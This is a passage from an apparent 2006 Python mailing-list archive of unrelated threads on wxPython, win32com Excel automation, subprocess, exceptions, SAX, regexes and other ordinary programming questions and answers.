2006 From: steve at holdenweb.com (Steve Holden) Date: Mon, 23 Oct 2006 20:34:20 +0100 Subject: Attempting to parse free-form ANSI text. In-Reply-To: <453D16CA.6030805@vtxmail.ch> References: <453CBC03.6090003@vtxmail.ch> <453D151C.8080905@vtxmail.ch> <453D16CA.6030805@vtxmail.ch> Message-ID: Frederic Rentsch wrote: > Frederic Rentsch wrote: > >>Frederic Rentsch wrote: >> >> >>>Paul McGuire wrote: >>> >>> >>> >>>>"Michael B. Trausch" <"mike$#at^&nospam!%trauschus"> wrote in message >>>> >>>> >> >>Sorry about the line wrap mess in the previous message. I try again with >>another setting: >> >>Frederic >> > > I give up! > > Don't give up, attach it as a file! regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From gh at gregor-horvath.com Sun Oct 15 03:00:02 2006 From: gh at gregor-horvath.com (Gregor Horvath) Date: Sun, 15 Oct 2006 09:00:02 +0200 Subject: Web Hosting In-Reply-To: <1160893959.465993.138820@i42g2000cwa.googlegroups.com> References: <1160893959.465993.138820@i42g2000cwa.googlegroups.com> Message-ID: <71e04$4531dc72$506c2949$1674@news.chello.at> Sir Psycho schrieb: > > Im looking at making a site in Python, however, Im lost as to what ISPs > actually support. Some ISPs say they support Python so does that mean > if I wanted to use TurboGears It would just work anyway? http://docs.turbogears.org/1.0/Hosting?highlight=%28hosting%29 -- Servus, Gregor From grante at visi.com Tue Oct 24 13:46:42 2006 From: grante at visi.com (Grant Edwards) Date: Tue, 24 Oct 2006 17:46:42 -0000 Subject: Visibility against an unknown background References: <1161701658.722683.46230@e3g2000cwe.googlegroups.com> Message-ID: <12jskc24dmsgdfa@corp.supernews.com> On 2006-10-24, Fredrik Lundh wrote: > Sergei Organov wrote: > >> There is a better way to do it. Check if the toolkit has line >> drawing mode that XORs the line color with the background, >> then draw using this mode and white color of the line. > > which means that the selection looks like crap most of the > time, Possibly -- depending on your defnition of "crap". ;) > and doesn't work at all on medium gray or b/w dithered > patterns. That depends on what you use as your source color. Mostly people use use white like I mentioned. I wouldn't say it doesn't work "at all", since I've always been able to see a slightly different gray or stippled line, but there are colors/patterns where an XOR'ed white line doesn't stand out well. Xoring a color other than white will should show up better on gray. There will still be colors/patterns that any color won't show up on when Xor'ed, but by picking a color other than white, you'll probably run across it less often. > for most cases, "marching ants" is a much better approach > (usually done by drawing alternating stippled patterns). That's what the GIMP does, and it is highly visible on any background. However, it's far more complex (it requires both animation and some sort of backing store). It's especially difficult to do with curved or diagonal lines. -- Grant Edwards grante Yow! The PILLSBURY at DOUGHBOY is CRYING for visi.com an END to BURT REYNOLDS movies!! From franz.steinhaeusler at gmx.at Thu Oct 5 14:13:02 2006 From: franz.steinhaeusler at gmx.at (Franz Steinhaeusler) Date: Thu, 5 Oct 2006 20:13:02 +0200 (CEST) Subject: tkinter newsgroup or mailing list Message-ID: Hello NG, I'm asking this, (although I know a mailing list on gmane gmane.comp.python.tkinter and there is so little traffic compared to the mailing list of wxPython also mirrored on gmane gmane.comp.python.wxpython. I cannot imagine, that there is no more interest in exchanging opinions, or is this really the case? Is tkinter so simple, that no more questions appear? Or is it simply so uninteresting? :) -- Franz Steinhaeusler From bjobrien62 at gmail.com Sat Oct 7 16:59:59 2006 From: bjobrien62 at gmail.com (SpreadTooThin) Date: 7 Oct 2006 13:59:59 -0700 Subject: class print? Message-ID: <1160254799.657198.240360@e3g2000cwe.googlegroups.com> Hi... Many python object can be printed simpy by saying: print obj what method(s) need to be implemented in my own classes such that print dumps the object? From jcoleman at franciscan.edu Wed Oct 18 11:42:01 2006 From: jcoleman at franciscan.edu (John Coleman) Date: 18 Oct 2006 08:42:01 -0700 Subject: Win32 python and excel macros In-Reply-To: <1161180798.760994.111230@k70g2000cwa.googlegroups.com> References: <1161180798.760994.111230@k70g2000cwa.googlegroups.com> Message-ID: <1161186121.020753.20810@b28g2000cwb.googlegroups.com> michael.pearmain at tangozebra.com wrote: > Hi Experts, > > Looking for a very quick bit on of advice on how to make some python > code run. I'm a newbie to both VBA and Python, so i apologise if this > is very easy but i'm about to tear my hair out after googling for the > last 3 days. > > I have written a large python script which inside of it creates an > Excel table, the name of this file and how many objects can change for > each project i run. > > I have then written a VBA script which takes the info from Excel and > drops it into a PowerPoint Pres. > > Both of these procedures work fine, but i am coming unstuck when i try > to apply the macro, (or .xla) file to the new tables autmatically. Can > anyone give me any guidance on this? > > The macro is called sub is CTP and the add-in file is CTP.XLA > > Below is the code i've managed to 'Stick' together > > Mike > > import win32com.client > xl = win32com.client.Dispatch("Excel.Application") > ppt = win32com.client.Dispatch("PowerPoint.Application") > xl.Visible = 1 #open MS Excel > ppt.Visible = 1 #open MS Powerpoint > xl.Workbooks.Open('Z:\\projects\\surveys\\SPSS - Generic files\\big > output.xls') #A table for a project > xl.Workbooks.Open('Z:\\projects\\surveys\\SPSS - Generic > files\\CTP.xla') # Stored macro add-in > ppt.Presentations.Open('Z:\\projects\\surveys\\SPSS - Generic > files\\Basic Template.ppt') > xl.Application.ExecuteExcel4macro('CTP!CTP.xla()"[big output.XLS]') It doesn't really make sense to apply a *file* to a *file* - you apply a sub or function in that file to a range in the other file (I'm assuming that your table is stored as a range of cells). What ExcecuteExcel4Macro is expecting as input is a string along the lines of 'CTP!MacroName(Workbooks("big output").Range("A1:C100"))' (experiment with using "" instead of " since VBA requires embedded " to be escaped by "" - but since you are writing this in Python it might not be necessary). Maybe experiment with writing a VBA macro in Excel which can successfuly launch the macro you need and then translate the appropriate snippet to your python script. Also - are you sure that the add-in macro is an old-style Excel4 macro? That would make it about 10 years old or deliberately retro. If not - the run method might be more appropriate. You should probably open the workbooks in such a way that big output.xls is the active workbook (and not ctp.xla) since most add-ins assume that the calling workbook is the active workbook (although - I don't know how an old-style pre-VBA Excel4 macro handled things). Thus you would probably want to open big output.xls last (or use xl.Application.Workbooks("big output").Activate ) to make sure that it is the active workbook. Also - do you even have to open ctp.xla explicitly? If it is an installed add-in then that line might be redundant. A final potential problem is that big output.xls might require a reference to ctp.xla. This sometimes happens when you try to invoke add-in code from another VBA project - but I would think that the ExecuteExcel4macro would bypass that. I can't comment on the python part of the equation - I am a complete newbie there. You might consider reposting this in microsoft.public.excel.programming since many of the regular posters there know a lot about automating Excel from scripting languages. They could at least help you with the VBA side of the equation. I hope that my random thoughts don't misguide you too much. -John Coleman From Roka100 at gmail.com Mon Oct 30 06:15:45 2006 From: Roka100 at gmail.com (Jia Lu) Date: 30 Oct 2006 03:15:45 -0800 Subject: wxFrame don't have Bind attribute ?? In-Reply-To: References: <1162189869.503325.51280@b28g2000cwb.googlegroups.com> Message-ID: <1162206945.246107.122390@h48g2000cwc.googlegroups.com> Steve Holden ??????: > Perhaps you could show us the code that's failing, the code is : #!/usr/bin/python -tt __author__ = "Jia Lu " __verstion__ = "1.0.0" import wx class MyFrame(wx.Frame): def __init__(self): wx.Frame.__init__(self, None, -1, "MyFrame", size=(300,300)) panel = wx.Panel(self, -1) panel.Bind(wx.EVT_MOTION, self.OnMove) wx.StaticText(panel, -1, "Pos:", pos=(100,105)) self.posCtrl = wx.TextCtrl(panel, -1, "", pos=(130,100)) def OnMove(self, event): pos = event.GetPosition() self.posCtrl.SetValue("%s, %s" % (pos.x, pos.y)) if __name__ == "__main__": app = wx.PySimpleApp() frame = MyFrame() frame.Show(True) app.MainLoop() From horpner at yahoo.com Tue Oct 24 11:23:23 2006 From: horpner at yahoo.com (Neil Cerutti) Date: 24 Oct 2006 17:23:23 +0200 Subject: The format of filename References: Message-ID: On 2006-10-24, Neil Cerutti wrote: > On 2006-10-24, Neil Cerutti wrote: >> Is translation of '/' to '\\' a feature of Windows or Python? > > Well, *that* was easy to discover on my own. ;-) > > Thanks for the pointers. Some experimentation shows that Python does seem to provide *some* translation. Windows lets me use '/' as a path separator, but not as the name of the root of a partition name. But perhaps this a peculiarity of the commands themselves, and not of Windows path names in particular. C:\PYTHON24>CD / The syntax of the command is incorrect. C:\PYTHON24>CD \ C:\>EDIT /PYTHON24/README The syntax of the command is incorrect. -- Neil Cerutti The outreach committee has enlisted 25 visitors to make calls on people who are not afflicted with any church. --Church Bulletin Blooper From bogus@does.not.exist.com Sat Oct 7 00:53:22 2006 From: bogus@does.not.exist.com (goyatlah) Date: Sat, 07 Oct 2006 06:53:22 +0200 Subject: dictionary containing a list References: <1160170679.625037.300000@c28g2000cwb.googlegroups.com> Message-ID: I think what you mean is that if you change your list, it is changed somewhere in your dicrionary to. Lists are always copied as pointers, except explicitly told other wise. So a = b = [] makes a and be the same list, and a.append(1) makes b -> [1]. So do something like mydict[mykey] = mylist[:] (Slicing gives a copy of the list, not the pointer). Hope this helps. Moi Dolf On 6 Oct 2006 14:37:59 -0700, "Ben" wrote: >Hello... > >I have set up a dictionary into whose values I am putting a list. I >loop around and around filling my list each time with new values, then >dumping this list into the dictionary. Or so I thought... > >It would appear that what I am dumping into the dictionary value is >only a pointer to the original list, so after all my iterations all I >have is a dictionary whose every value is equal to that of the list the >final time I looped around :-( > >Is there a way to acheive what I was attempting ? I have done something >almost identical with classes in a list before, and in that case a new >instance was created for each list entry... > > >I hope this makes some sense, and doesn't seem to head bangingly >simple... > > >Cheers, > >Ben From cmacn024 at uottawa.ca Tue Oct 10 08:34:04 2006 From: cmacn024 at uottawa.ca (cmacn024 at uottawa.ca) Date: 10 Oct 2006 05:34:04 -0700 Subject: Using Gnutar to remove a list of files Message-ID: <1160483644.216310.249760@m73g2000cwd.googlegroups.com> Hi folks, I've got a question for yas. I'm trying to write code that will open up a gzipped tar file using gnutar, and copy the list of files(including their directories) to a list variable in python. From there, I want to go through the list and delete those files from my system. That part is easy, but what I'm stuck on is getting the list of files in an archive into a list variable. If I use the -t parameter in gnutar, it prints a list of the files in a seperate cmd screen, but only returns 0. Is there any way to make it return a list, or to copy the information over? Thanks in advance! From fredrik at pythonware.com Wed Oct 18 15:45:43 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 18 Oct 2006 21:45:43 +0200 Subject: unloading extension library In-Reply-To: <1161199377.259570.234430@m73g2000cwd.googlegroups.com> References: <1161198746.006021.261320@m7g2000cwm.googlegroups.com> <1161199377.259570.234430@m73g2000cwd.googlegroups.com> Message-ID: Bill Pursell wrote: >>>> del sys.modules["spam"] >>>> del spam > > Should remove all the references, but I still don't want to wait for > garbage collection. I need to be sure that the dlclose() happens > and the destructors are called. Can I do that? (without relying > on ctypes, preferrably.) in general, no. Python's not C++; you cannot rely on the garbage collector to release resources at a given time (or to release them at all, for that matter). if you want to tear down an object or a module in a reliable fashion, you need to provide an API for that purpose. From fredrik at pythonware.com Mon Oct 30 02:17:13 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 30 Oct 2006 08:17:13 +0100 Subject: Is it possible to use python to unit test C++ code? In-Reply-To: <3790A97A1A03424A83B9FEE947A4E39AD66CBC@zmy16exm63.ds.mot.com> References: <3790A97A1A03424A83B9FEE947A4E39AD66CBC@zmy16exm63.ds.mot.com> Message-ID: Liu HuaDong-E6754C wrote: > Did any one used python to do C++ unit test? > If u did, could u give some actions how to do unit test by using python. use a standard tool to generate a binding for the relevant C++ libraries: http://www.effbot.org/pyfaq/how-do-i-interface-to-c-objects-from-python.htm and then write Python code to do the tests, preferably using an available Python testing framework. this page mentions some of them: http://www.effbot.org/pyfaq/how-do-i-test-a-python-program-or-component.htm http://docs.python.org/lib/module-doctest.html http://docs.python.org/lib/module-unittest.html From martin at v.loewis.de Wed Oct 4 17:31:39 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Wed, 04 Oct 2006 23:31:39 +0200 Subject: sax barfs on unicode filenames In-Reply-To: References: <4ohufoFem6rpU1@uni-berlin.de> <45241B66.7050205@v.loewis.de> Message-ID: <4524283B.9050500@v.loewis.de> Fredrik Lundh schrieb: > Martin v. L?wis wrote: > >> Yes. While you can pass Unicode strings as file names to many Python >> functions, you can't pass them to Expat, as Expat requires the file name >> as a byte string. Hence the error. > > sounds like a bug in the xml.sax layer, really (ET also uses Expat, and > doesn't seem to have any problems dealing with unicode filenames...) That's because ET never invokes XML_SetBase. Without testing, this suggests that there might be problem in ET with relative URIs in parsed external entities. XML_SetBase expects a char* for the base URI. Regards, Martin From steve at holdenweb.com Mon Oct 30 16:35:05 2006 From: steve at holdenweb.com (Steve Holden) Date: Mon, 30 Oct 2006 21:35:05 +0000 Subject: create global variables? In-Reply-To: References: Message-ID: Wojciech Mu?a wrote: > Alistair King wrote: > >>is there a simple way of creating global variables within a function? > > > def foo(name): > globals()[name] = "xxx" > globals()[name + 'aa'] = "yyy" > globals()[name + 'ab'] = "zzz" Please note that this is a terrible programming practice. Anyone who really thinks they need to do this should be thinking hard about whether they are using Python correctly (though tere are occasionaly requirements where the feature can legitimately be used). It would be *much* easier and *much* better programming practice to modify your code so the function returns a two-element tuple, which you then assign to two variables in an unpacking assignment. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From scott.daniels at acm.org Fri Oct 13 11:53:45 2006 From: scott.daniels at acm.org (Scott David Daniels) Date: Fri, 13 Oct 2006 08:53:45 -0700 Subject: Loops Control with Python In-Reply-To: References: Message-ID: <452fae58$1@nntp0.pdx.net> Wijaya Edward wrote: > Can we make loops control in Python? What I mean is that whether > we can control which loops to exit/skip at the given scope. > For example in Perl we can do something like: > OUT: > foreach my $s1 ( 0 ...100) { > IN: > foreach my $s2 (@array) { > if ($s1 == $s2) { > next OUT; > } > else { > last IN; > } > } > } > How can we implement that construct with Python? If you are not willing to determine the problem the code is written to solve, you are doomed to working with "Perl in Python". While I think Python is a far better language than Perl, I remain convinced that Perl is a better Perl than Python. Describe an actual problem, don't simply give an example from another language. If you don't know about break, continue, and for ... else, go study the Python language. -- --Scott David Daniels scott.daniels at acm.org From info at wingware.com Thu Oct 12 12:36:19 2006 From: info at wingware.com (Wingware Announce) Date: Thu, 12 Oct 2006 12:36:19 -0400 (EDT) Subject: Wing IDE 2.1.3 released Message-ID: Hi, We're happy to announce version 2.1.3 of Wing IDE, an advanced development environment for the Python programming language. This is a bug fix release that fixes debugger support for Python 2.5 final, improves VI mode and multi-file replace, and adds support for Subversion 1.4, among other things. The release can be downloaded from: http://wingware.com/downloads A detailed list of changes is available here: http://wingware.com/pub/wingide/2.1.3/CHANGELOG.txt Wing IDE provides powerful debugging, editing, code intelligence, and search capabilities that reduce development and debugging time, cut down on coding errors, and make it easier to understand and navigate Python code. Highlights of Wing IDE 2.1: * Professional quality code editor * Visual Studio, VI/Vim, Emacs, and Brief key bindings * Auto-completion, call tips, and source browser * Graphical debugger for Python, Zope, and Plone * Subversion, CVS, and Perforce integration * Powerful search interface * User-extensible with Python scripts * Templates (code snippets), bookmarks, folding, macros, and more Some features are available in Wing IDE Pro only -- for details see http://wingware.com/wingide/features This release is available for Windows (2000+), Linux, and Mac OS X (10.3+ with X11 installed) and can be compiled from sources on *BSD, Solaris, and other Posix operating systems. For more information see: Product Info: http://wingware.com/products Sales: http://wingware.com/store/purchase Sincerely, The Wingware Team From deets at web.de Sat Oct 7 18:00:29 2006 From: deets at web.de (Diez B. Roggisch) Date: 7 Oct 2006 15:00:29 -0700 Subject: need some regular expression help In-Reply-To: <1160256609.555007.83170@e3g2000cwe.googlegroups.com> References: <1160256609.555007.83170@e3g2000cwe.googlegroups.com> Message-ID: <1160258429.883224.285830@i3g2000cwc.googlegroups.com> Chris wrote: > I need a pattern that matches a string that has the same number of '(' > as ')': > findall( compile('...'), '42^((2x+2)sin(x)) + (log(2)/log(5))' ) = [ > '((2x+2)sin(x))', '(log(2)/log(5))' ] > Can anybody help me out? This is not possible with regular expressions - they can't "remember" how many parens they already encountered. You will need a real parser for this - pyparsing seems to be the most popular choice today, I personally like spark. I'm sure you find an example-grammar that will parse simple arithmetical expressions like the one above. Diez From steve at holdenweb.com Wed Oct 25 19:07:50 2006 From: steve at holdenweb.com (Steve Holden) Date: Thu, 26 Oct 2006 00:07:50 +0100 Subject: question about True values In-Reply-To: <1161812827.596356.316450@f16g2000cwb.googlegroups.com> References: <7x4ptsi544.fsf@ruckus.brouhaha.com> <1161803802.110116.127470@m7g2000cwm.googlegroups.com> <7xvem8gq22.fsf@ruckus.brouhaha.com> <1161804934.010376.151330@f16g2000cwb.googlegroups.com> <453FD3AF.4040800@v.loewis.de> <1161812827.596356.316450@f16g2000cwb.googlegroups.com> Message-ID: John Coleman wrote: > Martin v. L?wis wrote: > >>John Coleman schrieb: >> >>>Yes - it just seems that there isn't a principled reason for implicitly >>>converting 3 to 3.0 in 3.0 == 3 but not implicitly converting "cat" to >>>boolean in "cat" == true. >> >>Sure there is: equality should be transitive. So while we have >>3 == 3L == 3.0 == 3.0+0j >>and can therefore imply that 3 == 3.0+0j, we should not get >>5 == True == ["foo"] >>and therefore imply that 5 == ["foo"]. >> >>The phenomenon really exists only for numeric types (that two >>values of different types still represent the same "thing"), >>so it's not surprising that this doesn't readily extend to >>other types. >> >>In Python, there are only very few similar cases: byte strings >>and unicode strings sometimes compare equal (but, since 2.5, >>don't compare unequal very often); lists and tuples could be >>considered to have equal values, but don't actually do compare >>equal. >> >>Regards, >>Martin > > > Very good point, though one could argue perhaps that when one is > comparing an object with a truth value then one is implicitly asking > for the truth value of that object i.e. how it would function if used > in an if statement, etc. This would make code like 'if s: ' equivalent > to 'if s == True:' with a possible gain in readability. But - as you > demonstrate the cost of that (minimal) gain in readability would be too > high. In any event - I think it is mostly bad style to use a > non-boolean variable in 'if s:' - it reminds me too much of obscure C > code (though others might disagree). > That's such a well-used (even though sometime abused) Ptyhon idiom that it's never going to go away. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From odalrick at hotmail.com Fri Oct 20 08:23:17 2006 From: odalrick at hotmail.com (Odalrick) Date: 20 Oct 2006 05:23:17 -0700 Subject: wxPython and PIL In-Reply-To: References: <1161270623.627758.71040@e3g2000cwe.googlegroups.com> Message-ID: <1161346997.942629.80610@m73g2000cwd.googlegroups.com> Thanks for the answer. From g.brandl-nospam at gmx.net Fri Oct 6 04:19:36 2006 From: g.brandl-nospam at gmx.net (Georg Brandl) Date: Fri, 06 Oct 2006 10:19:36 +0200 Subject: Metaprogramming question In-Reply-To: References: Message-ID: Steve Menard wrote: > I have a need to create class instance without invokking the class' __init__ > method. > > Were I using old-style classes, I'd use new.instance() function. However, I > am using new-style classes and new.instance() complain "TypeError: > instance() argument 1 must be classobj, not type" ... > > So my question is, how to replicate new.instance() functionality with new > classes? Use object.__new__. Georg From andre.naess at gmail.com Sat Oct 7 05:12:13 2006 From: andre.naess at gmail.com (andre.naess at gmail.com) Date: 7 Oct 2006 02:12:13 -0700 Subject: Dumping the state of a deadlocked process In-Reply-To: <1160169525.373389.207990@c28g2000cwb.googlegroups.com> References: <1160164771.210372.141120@h48g2000cwc.googlegroups.com> <1160169525.373389.207990@c28g2000cwb.googlegroups.com> Message-ID: <1160212333.072497.224360@i42g2000cwa.googlegroups.com> MrJean1 wrote: > Did you try using the signal module? If not, a basic example is here > which may need to be > extended. I looks useful. I gave it a try, and the only weakness it has is that when my process locks, it locks so badly that it doesn't respond to CTRL-C, or any other signal. But by sending it a SIGQUIT which causes it to dump the current state, and then kill it, I get the dump I need. This is actually not a multi-threaded app. It's an application which uses a SQL DB. The problem I was having was that I had a cursor which started a transaction, and then never finished. Then some other cursor came along and tried to perform a delete table, and they both locked up. The cursor isn't ending it's transaction, and the transaction prevents the delete table from being executed. Luckily Postgresql allows me to list current activity, otherwise I would have been scratching my head still. Using logging or print statements to debug this sort of things is highly unsatisfactory. I think the way Java uses SIGQUIT is pretty neat, are there any reasons why Python can't adopt something similar? From mail at microcorp.co.za Sun Oct 15 02:31:58 2006 From: mail at microcorp.co.za (Hendrik van Rooyen) Date: Sun, 15 Oct 2006 08:31:58 +0200 Subject: Can I set up a timed callback without Tkinter or twisted orsomething? References: <45310353$1@nntp0.pdx.net> Message-ID: <00c601c6f027$e8e74820$03000080@hendrik> "Scott David Daniels" wrote: > Hendrik van Rooyen wrote: > > I want to do the equivalent of the after thingy in tkinter - setting up in > > effect a timed call back. > > > > My use case is as a "supervisory" timer - I want to set up an alarm, which I > > want to cancel if the expected occurrence occurs - but its not a GUI app. > > Use a thread that uses something like: > def action(): > sleep(50) > if not canceled: > callback(foo) > as its action. > > The callback ill be in another thread, but .... Look up threading for > more details. Thanks - I was hoping that I did not have to do it myself - the Tkinter thingy works nicely - I was hoping that the interpreter could handle something like this... What I don't like too much about the sleep based solution is that yer blind and deaf while sleeping - at least in that thread - and I am trying for fairly fine grained timing resolution... is there not something based on signals? - I seem to recall some such thing here in another thread.. ( I am running Linux) -Hendrik From MonkeeSage at gmail.com Fri Oct 6 02:19:18 2006 From: MonkeeSage at gmail.com (MonkeeSage) Date: 5 Oct 2006 23:19:18 -0700 Subject: help on pickle tool In-Reply-To: References: <1160110375.999662.268560@k70g2000cwa.googlegroups.com> <1160112357.891308.200020@i42g2000cwa.googlegroups.com> <1160114085.944898.224340@k70g2000cwa.googlegroups.com> Message-ID: <1160115558.554509.292870@c28g2000cwb.googlegroups.com> On Oct 6, 1:06 am, hanumizzle wrote: > I'm happy with my Pythonesque YAML syntax, thank you. :) YAML is a little more complex, and a little more mature. But JSON should not be ruled out. I actually like JSON personally. Regards, Jordan From bjobrien62 at gmail.com Mon Oct 16 15:12:43 2006 From: bjobrien62 at gmail.com (SpreadTooThin) Date: 16 Oct 2006 12:12:43 -0700 Subject: Need a strange sort method... In-Reply-To: References: <1161022388.133766.221150@m7g2000cwm.googlegroups.com> Message-ID: <1161025963.350716.57900@i42g2000cwa.googlegroups.com> Fredrik Lundh wrote: > SpreadTooThin wrote: > > > I have a list and I need to do a custom sort on it... > > > Its more like > > 1 4 7 10 > > 2 5 8 > > 3 6 9 > > that's trivial to do with slicing, of course. what makes you think you > need to do this by calling the "sort" method ? > > You are of course correct.. There might be a way to do this with slicing and i % 3 From MonkeeSage at gmail.com Tue Oct 3 05:29:15 2006 From: MonkeeSage at gmail.com (MonkeeSage) Date: 3 Oct 2006 02:29:15 -0700 Subject: Howto pass Array/Hash into Function References: Message-ID: <1159867755.636060.48790@m7g2000cwm.googlegroups.com> Wijaya Edward wrote: > I wonder how can that be done in Python. def myfunc(plain_var, hash_ref, arref): # Do sth with those variables return Regards, Jordan From matthew_j_warren at hotmail.com Fri Oct 6 06:55:29 2006 From: matthew_j_warren at hotmail.com (MatthewWarren) Date: 6 Oct 2006 03:55:29 -0700 Subject: OT Request In-Reply-To: References: <1160131350.971760.132110@i42g2000cwa.googlegroups.com> Message-ID: <1160132129.825835.196310@i42g2000cwa.googlegroups.com> Funniest bit of my day so far :) Fredrik Lundh wrote: > Matthew Warren wrote: > > > No problem, and thanks for pointing it out. It gets silently added on > > its way through, and i just hadnt noticed it in my posts. > > oh, no need to apologize. and it did make a certain sense in some of > your posts: > > > Okok, I'm silly. > > > > This email is confidential and may be privileged. If you are not the > > intended recipient please notify the sender immediately and delete the > > email from your computer. > > > > You should not copy the email, use it for any purpose or disclose its > > contents to any other person. > > > > Please note that any views or opinions presented in this email may be > > personal to the author and do not necessarily represent the views or > > opinions of Digica. From fredrik at pythonware.com Tue Oct 17 01:39:02 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 17 Oct 2006 07:39:02 +0200 Subject: Output from subprocess.Popen() In-Reply-To: <1161044891.272758.88420@h48g2000cwc.googlegroups.com> References: <1160923622.901247.310170@b28g2000cwb.googlegroups.com> <1161033460.506489.96820@b28g2000cwb.googlegroups.com> <1161044891.272758.88420@h48g2000cwc.googlegroups.com> Message-ID: Clodoaldo Pinto Neto wrote: > But I still don't understand what is happening. The manual says that > when shell=True the executable argument specifies which shell to use: no, it says that when shell=True, it runs the command "through" the default shell. that is, it hands it over to the shell for execution, pretty much as if you'd typed it in yourself. > To make my confusion bigger, in Fedora sh is just a link to bash: that only means that the programs share the same binary, not that they necessarily have exactly the same behaviour: $ man bash ... INVOCATION ... If bash is invoked with the name sh, it tries to mimic the startup behavior of historical versions of sh as closely as possible, while conforming to the POSIX standard as well. ... From jcarlson at uci.edu Wed Oct 25 11:39:57 2006 From: jcarlson at uci.edu (Josiah Carlson) Date: Wed, 25 Oct 2006 08:39:57 -0700 Subject: [wxPython-users] Re: In-Reply-To: <20061025112740.44244.qmail@web88303.mail.re4.yahoo.com> References: <20061024200724.0AA7.JCARLSON@uci.edu> <20061025112740.44244.qmail@web88303.mail.re4.yahoo.com> Message-ID: <20061025083349.0AB0.JCARLSON@uci.edu> Michael S wrote: > If I create a threading.Thread derived class, and run > the wxPython code in the main thread; using a lock, > will I be able to suspend the Thread, even though it > will run the C code, which is essentially a while loop > looping through millions of lines of a text file? If all your C code is doing is looping through lines in a text file, you can rewrite it fairly reasonably in Python via 'for line in open(fn):'. In terms of locks, you have to use a lock that can be acquired by either thread (GUI or C), but that won't necessarily give you what you want; the GUI thread in wxPython may still not like being called directly. If you want the ability to easily restart your C code, you may want to consider at least looking at the following page on coroutines in C: http://www.chiark.greenend.org.uk/~sgtatham/coroutines.html . It would allow you to do all of your GUI manipulation/updating in Python without having to worry about locks or calling Python code from C. - Josiah > --- Josiah Carlson wrote: > > > > > Gabriel Genellina wrote: > > > At Tuesday 24/10/2006 23:25, Michael S wrote: > > > > > > >I extended part of my program in C, since that > > part > > > >was too involved for Python. Now when I import > > the > > > >module I created and call its functions, I am > > trying > > > >to feedback some information bac to my wxPython > > > >program. The function runs for a while and I > > wanted to > > > >update a progress bar, but when I call the > > function of > > > >my new module, wxPython doesn't respond when > > wx.Timer > > > >is supposed to fire. > > > > > > Does your extension run on a separate thread? I > > guess not. So the > > > wxPython code does not have a chance to run. > > > Do it the other way: from your C code, call a > > Python function which > > > in turn updates the progress bar (and keep it > > simple!) > > > > Unless the GUI thread has a chance to take passes > > through the wxPython > > mainloop, the progress bar, etc., may not actually > > be updated on some > > platforms. > > > > Mr. Sherman would likely be better off creating a > > new thread which > > handles processing, which could update a C global > > variable, which the > > GUI thread can poll to update its progress bar, etc. > > Alternatively, if > > the processing can be broken down into smaller > > pieces, the secondary > > thread can call the pieces and post events back to > > the GUI thread to > > update the progress bar (via explicit wx.PostEvent > > or implicit > > wx.CallAfter). > > > > > > - Josiah > > > > > > > --------------------------------------------------------------------- > > To unsubscribe, e-mail: > > wxPython-users-unsubscribe at lists.wxwidgets.org > > For additional commands, e-mail: > > wxPython-users-help at lists.wxwidgets.org > > > > From johnjsal at NOSPAMgmail.com Fri Oct 20 16:29:50 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Fri, 20 Oct 2006 20:29:50 GMT Subject: why does this unpacking work In-Reply-To: References: Message-ID: <2la_g.134$1n3.3442@news.tufts.edu> Carsten Haese wrote: > You seem to have difficulty distinguishing the concept of looping over a > tuple from the concept of unpacking a tuple. I think you're right. It's starting to make more sense now. I think when I saw: for x,y in t I was expecting 't' to be a two-tuple for it to work. Maybe writing it as: for (x,y) in t sort of helps to show that '(x,y)' is equivalent to one object in 't'. That makes it look a little more cohesive in my mind, I guess, or helps me to see it map out against 't' better. From __peter__ at web.de Sun Oct 22 15:03:46 2006 From: __peter__ at web.de (Peter Otten) Date: Sun, 22 Oct 2006 21:03:46 +0200 Subject: Altering the way exceptions print themselves References: <453baf5f$0$324$e4fe514c@news.xs4all.nl> Message-ID: Irmen de Jong wrote: > I want to alter the way exceptions print themselves. > More specifically, I'd like to extend the __str__ method of > the exception's class so that it is printed in a different way. > > I used to replace the __str__ method on the exception object's > class by a custom method, but that breaks my code on Python 2.5 > because of the following error I'm getting: > > TypeError: can't set attributes of built-in/extension type > 'exceptions.TypeError' > > Well, ok. So I tried to improve my code and not alter the class, > but only the exception object. I came up with this: > > > > def __excStr__(self): > return "[[[EXCEPTION! "+self.originalStr()+"]]" > > > ... some code that raises an exception 'ex' .... > > import new > newStr = new.instancemethod( __excStr__, ex, ex.__class__) > ex.__str__=newStr > > > On Python 2.4 the above code works as I expect, however on Python 2.5 > it doesn't seem to have any effect... What am I doing wrong? Nothing. That's just a chain of bad luck. As exceptions have become newstyle classes __xxx__() special methods aren't looked up in the instance anymore. > Or is there perhaps a different way to do what I want? Does it suffice to set the excepthook? If so, you might want something less hackish than class wrap_exc(object): def __init__(self, exception): self.__exception = exception def __getattr__(self, name): return getattr(self.__exception, name) def __str__(self): return "yadda" def eh(etype, exception, tb): eh_orig(etype, wrap_exc(exception), tb) eh_orig = sys.excepthook Peter From bignose+hates-spam at benfinney.id.au Thu Oct 26 22:58:42 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Fri, 27 Oct 2006 12:58:42 +1000 Subject: Truth value of iterators [was: question about True values) References: <17727.47016.632530.720950@montanaro.dyndns.org> <7.0.1.0.0.20061025224858.05f2ea40@yahoo.com.ar> <7xfydbhkso.fsf@ruckus.brouhaha.com> <7.0.1.0.0.20061026144722.04641dd8@yahoo.com.ar> <1161917196.676362.318480@h48g2000cwc.googlegroups.com> Message-ID: <87k62mea71.fsf_-_@benfinney.id.au> "Carl Banks" writes: > An iterator is not a sequence, and it's impossible to determine > whether an iterator is "empty" in general, except by trying to get > an item from it. [...] > > IMO, this is big time wart in the language. Iterators have no > calculatable truth value; for many other types a truth value doesn't > make sense (for instance: function objects, type objects, modules, > user-defined types that don't 